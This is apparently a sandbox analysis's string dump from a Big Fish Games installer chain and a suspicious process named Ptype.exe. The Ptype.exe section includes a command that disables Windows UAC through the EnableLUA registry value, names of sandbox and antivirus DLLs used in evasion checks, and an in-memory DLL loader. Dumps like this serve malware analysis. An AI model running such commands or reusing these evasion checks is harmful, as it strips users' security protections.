@.data

.ndata

.rsrc

tDSSh

%s %s

... %d%%

verifying installer: %d%%

ADVAPI32.dll

~nsu.tmp\

shlwapi.dll

%u.%u%s%s

KERNEL32.dll

.DEFAULT\Control Panel\International

*?|<>/":

\wininit.ini

%s=%s

%Program Files%

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegDeleteKeyA

RegCloseKey

RegEnumKeyA

RegOpenKeyExA

RegCreateKeyExA

COMCTL32.dll

ole32.dll

VERSION.dll

Au_.exe

RichEd20.dll

"%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\stub\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe" /D=C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

PLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe

\System.dll

Thawte Certification1

http://ocsp.thawte.com0

.http://crl.thawte.com/ThawteTimestampingCA.crl0

http://ts-ocsp.ws.symantec.com07

http://ts-aia.ws.symantec.com/tss-ca-g2.cer0<</pre><pre> http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(</pre><pre>2Terms of use at https://www.verisign.com/rpa (c)101.0,</pre><pre>/http://csc3-2010-crl.verisign.com/CSC3-2010.crl0D</pre><pre>https://www.verisign.com/rpa0</pre><pre>http://ocsp.verisign.com0;</pre><pre>/http://csc3-2010-aia.verisign.com/CSC3-2010.cer0</pre><pre><VeriSign Class 3="3" Public Primary Certification Authority - G50><pre>https://www.verisign.com/cps0*</pre><pre>#http://logo.verisign.com/vslogo.gif04</pre><pre>#http://crl.verisign.com/pca3-g5.crl04</pre><pre>http://ocsp.verisign.com0</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi2.tmp</pre><pre>nsi2.tmp</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache</pre><pre>XR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\stub\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe</pre><pre>"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE"</pre><pre>HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE</pre><pre>CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn1.tmp</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\</pre><pre>4! # #%%$#</pre><pre>J(.Bu</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v06-Dec-2010.cvs</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>3.3.0.2</pre><pre>04090000</pre><pre>04070000</pre>HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe_1128:<pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.ndata</pre><pre>.rsrc</pre><pre>RegDeleteKeyExW</pre><pre>Kernel32.DLL</pre><pre>PSAPI.DLL</pre><pre>%s=%s</pre><pre>GetWindowsDirectoryW</pre><pre>KERNEL32.dll</pre><pre>ExitWindowsEx</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHFileOperationW</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>RegDeleteKeyW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyW</pre><pre>RegOpenKeyExW</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>COMCTL32.dll</pre><pre>ole32.dll</pre><pre>VERSION.dll</pre><pre>2 2034383@3</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>nsProcess.dll</pre><pre>;#;7;`;};</pre><pre>KERNEL32.DLL</pre><pre>NTDLL.DLL</pre><pre>Run-Time Check Failure #%d - %s</pre><pre>Kernel32.dll</pre><pre>MSPDB71.DLL</pre><pre>IMAGEHLP.DLL</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.DLL</pre><pre>mscoree.dll</pre><pre>Client hook allocation failure at file %hs line %d.</pre><pre>_CrtCheckMemory()</pre><pre>_CrtIsValidHeapPointer(pUserData)</pre><pre>Client hook re-allocation failure at file %hs line %d.</pre><pre>DAMAGE: after %hs block (#%d) at 0x%p.</pre><pre>DAMAGE: before %hs block (#%d) at 0x%p.</pre><pre>%hs allocated at file %hs(%d).</pre><pre>_CrtMemCheckPoint: NULL state pointer.</pre><pre>_CrtMemDifference: NULL state pointer.</pre><pre>crt block at 0x%p, subtype %x, %Iu bytes long.</pre><pre>client block at 0x%p, subtype %x, %Iu bytes long.</pre><pre>%hs(%d) :</pre><pre>#File Error#(%d) :</pre><pre>Data: <%s> %s</pre><pre>- This application cannot run using the active version of the Microsoft .NET Runtime</pre><pre>Please contact the application's support team for more information.</pre><pre>%s(%d) : %s</pre><pre>_CrtDbgReport: String too long or IO Error</pre><pre>Second Chance Assertion Failed: File %s, Line %d</pre><pre>user32.dll</pre><pre>Debug %s!</pre><pre>Program: %s%s%s%s%s%s%s%s%s%s%s</pre><pre>internal state. The program cannot safely continue execution and must</pre><pre>continue execution and must now be terminated.</pre><pre>GetProcessWindowStation</pre><pre>f:\vs70builds\3077\vc\crtbld\crt\src\sprintf.c</pre><pre>f:\vs70builds\307</pre><pre>6q2.EC</pre><pre>.ssXV</pre><pre>)-.Yln</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>verifying installer: %d%%</pre><pre>... %d%%</pre><pre>http://nsis.sf.net/NSIS_Error</pre><pre>~nsu.tmp</pre><pre>%u.%u%s%s</pre><pre>.DEFAULT\Control Panel\International</pre><pre>Software\Microsoft\Windows\CurrentVersion</pre><pre>*?|<>/":</pre><pre>"%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl8.tmp</pre><pre>inetc.dll</pre><pre>nning '%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe'</pre><pre>id><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe</pre><pre>me_Installer_4e92f742-bf7f-4a3d-92aa-b0f69e31ccce<id>493593</id><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></pre><pre>:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa4.tmp\inetc.dll</pre><pre>><sender>BFG_Game_Installer_4e92f742-bf7f-4a3d-92aa-b0f69e31ccce</sender><id>493593</id><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></pre><pre>Execute: "%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>bfgsetup_s1_l1.exe</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe</pre><pre>nts and Settings\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>tdown<transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></pre><pre>EID":"1", "STUB_SITEID":"1", "COUNTER":"0","UPGRADESOURCE":"DOWNLOAD", "VERSION_TO":"%VERSION_TO%", "VERSION_FROM":"0.0.0.0", "OSNAME":"XP", "OSVERSION":"5.1.2600.5512", "INSTALLATION_STATUS":"%INSTALLATION_STATUS%","ERROR_LEVEL":"%ERROR_LEVEL%"}</pre><pre>sion="1.0" encoding="utf-16" ?><bfg><message><sender>BFG_Game_Installer_4e92f742-bf7f-4a3d-92aa-b0f69e31ccce</sender><id>493593</id><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers></message></bfg></pre><pre>7P9MT7EX72W..exe</pre><pre>1397743395</pre><pre>wnload, running '%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe'</pre><pre><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></pre><pre>FG_Monitor_f8c5f096-93d6-4f5f-8474-fc53d9c7540c</pre><pre>sage><sender>BFG_Game_Installer_4e92f742-bf7f-4a3d-92aa-b0f69e31ccce</sender><id>493593</id><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></pre><pre>OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsy6.tmp</pre><pre>><bfg><message><sender>BFG_Game_Installer_4e92f742-bf7f-4a3d-92aa-b0f69e31ccce</sender><id>493593</id><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></message></bfg></pre><pre>bfggameservices.exe</pre><pre>?xml version="1.0" encoding="utf-16" ?><bfg><message><sender>BFG_Game_Installer_4e92f742-bf7f-4a3d-92aa-b0f69e31ccce</sender><id>493593</id><timestamp>493593</timestamp><context>Shutdown</context><transactionId></transactionId><receivers><receiver><id>BFG_DRM_71f48295-5ff7-4894-b2c3-92f72b83a864</id><ensureRunning>0</ensureRunning></receiver></receivers><params></params><isResponse>0</isResponse></message></bfg></pre><pre>"%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\stub\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\stub</pre><pre>HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe</pre><pre>CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf3.tmp</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa4.tmp</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\stub\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe</pre><pre>571081478</pre><pre>cceeded with download, running '%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe'</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache</pre><pre>{"IDENTIFIER":"0", "IDENTIFIER_TYPE":"DOWNLOADID", "CURRENT_SITEID":"", "CURRENT_LANGUAGEID":"", "STUB_LANGUAGEID":"1", "STUB_SITEID":"1", "COUNTER":"0","UPGRADESOURCE":"DOWNLOAD", "VERSION_TO":"%VERSION_TO%", "VERSION_FROM":"0.0.0.0", "OSNAME":"XP", "OSVERSION":"5.1.2600.5512", "INSTALLATION_STATUS":"%INSTALLATION_STATUS%","ERROR_LEVEL":"%ERROR_LEVEL%"}</pre><pre>{4CFDE078-C665-429D-9A80-1C8F5D0EF06D}</pre><pre>3.3.0.2</pre><pre>04090000</pre>Ptype.exe_1144:<pre>.idata</pre><pre>.rdata</pre><pre>P.reloc</pre><pre>P.rsrc</pre><pre>BuildImportTable: can't load library:</pre><pre>BuildImportTable: ReallocMemory failed</pre><pre>BuildImportTable: GetProcAddress failed</pre><pre>BTMemoryLoadLibary: BuildImportTable failed</pre><pre>BTMemoryGetProcAddress: no export table found</pre><pre>BTMemoryGetProcAddress: DLL doesn't export anything</pre><pre>BTMemoryGetProcAddress: exported symbol not found</pre><pre>kernel32.dll</pre><pre>76487-644-3177037-23510</pre><pre>55274-640-2673064-23950</pre><pre>sbiedll.dll</pre><pre>dbghelp.dll</pre><pre>RLHOOK32.DLL</pre><pre>snxhk.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion</pre><pre>ntdll.dll</pre><pre>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f</pre><pre>%sysdir%\</pre><pre>%sysdir%</pre><pre>~a39.log</pre><pre>cmd_.bat</pre><pre>sevane.tmp</pre><pre>user32.dll</pre><pre>cmd.dll</pre><pre>~a21524.log</pre><pre>GetProcessHeap</pre><pre>oleaut32.dll</pre><pre>advapi32.dll</pre><pre>RegOpenKeyExA</pre><pre>RegOpenKeyA</pre><pre>RegCloseKey</pre><pre>WinExec</pre><pre>GetWindowsDirectoryA</pre><pre>wsock32.dll</pre><pre>shell32.dll</pre><pre>ShellExecuteA</pre><pre>7'7 7/73777;7?7!8<8</pre><pre>KWindows</pre><pre>66006666</pre>bfgsetup_s1_l1.exe_1796:<pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.ndata</pre><pre>.rsrc</pre><pre>tDSSh</pre><pre>%s %s</pre><pre>... %d%%</pre><pre>verifying installer: %d%%</pre><pre>ADVAPI32.dll</pre><pre>~nsu.tmp\</pre><pre>shlwapi.dll</pre><pre>%u.%u%s%s</pre><pre>KERNEL32.dll</pre><pre>.DEFAULT\Control Panel\International</pre><pre>*?|<>/":</pre><pre>\wininit.ini</pre><pre>%s=%s</pre><pre>%Program Files%</pre><pre>Software\Microsoft\Windows\CurrentVersion</pre><pre>GetWindowsDirectoryA</pre><pre>ExitWindowsEx</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHFileOperationA</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>RegDeleteKeyA</pre><pre>RegCloseKey</pre><pre>RegEnumKeyA</pre><pre>RegOpenKeyExA</pre><pre>RegCreateKeyExA</pre><pre>COMCTL32.dll</pre><pre>ole32.dll</pre><pre>VERSION.dll</pre><pre>Au_.exe</pre><pre>RichEd20.dll</pre><pre>"%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe" /D=%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack</pre><pre>/STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>gsetup_s1_l1.exe</pre><pre>ALS~1\Temp\nsxA.tmp\System.dll</pre><pre>Thawte Certification1</pre><pre>http://ocsp.thawte.com0</pre><pre>.http://crl.thawte.com/ThawteTimestampingCA.crl0</pre><pre>http://ts-ocsp.ws.symantec.com07</pre><pre> http://ts-aia.ws.symantec.com/tss-ca-g2.cer0<</pre><pre> http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(</pre><pre>2Terms of use at https://www.verisign.com/rpa (c)101.0,</pre><pre>/http://csc3-2010-crl.verisign.com/CSC3-2010.crl0D</pre><pre>https://www.verisign.com/rpa0</pre><pre>http://ocsp.verisign.com0;</pre><pre>/http://csc3-2010-aia.verisign.com/CSC3-2010.cer0</pre><pre><VeriSign Class 3="3" Public Primary Certification Authority - G50><pre>https://www.verisign.com/cps0*</pre><pre>#http://logo.verisign.com/vslogo.gif04</pre><pre>#http://crl.verisign.com/pca3-g5.crl04</pre><pre>http://ocsp.verisign.com0</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxA.tmp</pre><pre>nsxA.tmp</pre><pre>TH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache</pre><pre>d Settings\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe</pre><pre>"%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>bfgsetup_s1_l1.exe</pre><pre>CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsr9.tmp</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\</pre><pre>4! # #%%$#</pre><pre>J(.Bu</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v06-Dec-2010.cvs</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>3.3.0.2</pre><pre>04090000</pre><pre>04070000</pre>bfgsetup_s1_l1.exe_552:<pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.ndata</pre><pre>.rsrc</pre><pre>RegDeleteKeyExW</pre><pre>Kernel32.DLL</pre><pre>PSAPI.DLL</pre><pre>%s=%s</pre><pre>GetWindowsDirectoryW</pre><pre>KERNEL32.dll</pre><pre>ExitWindowsEx</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHFileOperationW</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>RegDeleteKeyW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyW</pre><pre>RegOpenKeyExW</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>COMCTL32.dll</pre><pre>ole32.dll</pre><pre>VERSION.dll</pre><pre>7%0xO</pre><pre>u: %d/%d trang...Kh</pre><pre>m.&Back&Forward&ReloadReload no cache&Stop&Undo&RedoCu&t&Copy&Paste&DeleteSelect &all&Find...&Print...View Source...</pre><pre>%dHTML</pre><pre>&Back&Forward&ReloadReload no cache&Stop&Undo&RedoCu&t&Copy&Paste&DeleteSelect &all&Find...&Print...View Source...</pre><pre>.reloc</pre><pre>8)u%f</pre><pre>AccessControl.dll</pre><pre>ClearOnRegKey</pre><pre>DenyOnRegKey</pre><pre>DisableRegKeyInheritance</pre><pre>EnableRegKeyInheritance</pre><pre>GetRegKeyGroup</pre><pre>GetRegKeyOwner</pre><pre>GrantOnRegKey</pre><pre>RevokeOnRegKey</pre><pre>SetOnRegKey</pre><pre>SetRegKeyGroup</pre><pre>SetRegKeyOwner</pre><pre>.text1</pre><pre>.adata</pre><pre>.data1</pre><pre>.pdata</pre><pre>4! # #%%$#</pre><pre>J(.Bu</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>verifying installer: %d%%</pre><pre>unpacking data: %d%%</pre><pre>... %d%%</pre><pre>http://nsis.sf.net/NSIS_Error</pre><pre>~nsu.tmp</pre><pre>%u.%u%s%s</pre><pre>.DEFAULT\Control Panel\International</pre><pre>Software\Microsoft\Windows\CurrentVersion</pre><pre>*?|<>/":</pre><pre>ent.exe</pre><pre>OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nscD.tmp\System.dll</pre><pre>ol.dll</pre><pre>og\gamemanager_install_log.txt</pre><pre>scD.tmp</pre><pre>OCALS~1\Temp\nscD.tmp\System.dll</pre><pre>er.bmp</pre><pre>EnumerateSubKeys</pre><pre>CreateSubKey</pre><pre>GenericExecute</pre><pre>Cannot apply new access control list. Error code: %d</pre><pre>Cannot build new access control list. Error code: %d</pre><pre>Cannot read access control list. Error code: %d</pre><pre>Bad permission flags (%s)</pre><pre>Bad trustee (%s)</pre><pre>Cannot change access control list inheritance. Error code: %d</pre><pre>Cannot apply new ownership. Error code: %d</pre><pre>Cannot open process token. Error code: %d</pre><pre>Bug: Unsupported change mode: %d</pre><pre>Cannot look up owner. Error code: %d</pre><pre>Cannot get current ownership. Error code: %d</pre><pre>Root key name missing</pre><pre>Registry key name missing</pre><pre>Bad root key name (%s)</pre><pre>Couldn't lookup current user name. Error code %d:</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nscD.tmp</pre><pre>nscD.tmp</pre><pre>\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>d Settings\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache</pre><pre>"%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe" /STUBPATH "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe"</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack</pre><pre>%Program Files%\bfgclient</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\clientinstaller</pre><pre>bfgsetup_s1_l1.exe</pre><pre>CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxB.tmp</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\</pre><pre>%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe</pre><pre>1510605463</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe</pre><pre>3.3.0.2</pre><pre>04090000</pre>Ptype.exe_1144_rwx_13140000_00011000:<pre>.idata</pre><pre>.rdata</pre><pre>P.reloc</pre><pre>P.rsrc</pre><pre>BuildImportTable: can't load library:</pre><pre>BuildImportTable: ReallocMemory failed</pre><pre>BuildImportTable: GetProcAddress failed</pre><pre>BTMemoryLoadLibary: BuildImportTable failed</pre><pre>BTMemoryGetProcAddress: no export table found</pre><pre>BTMemoryGetProcAddress: 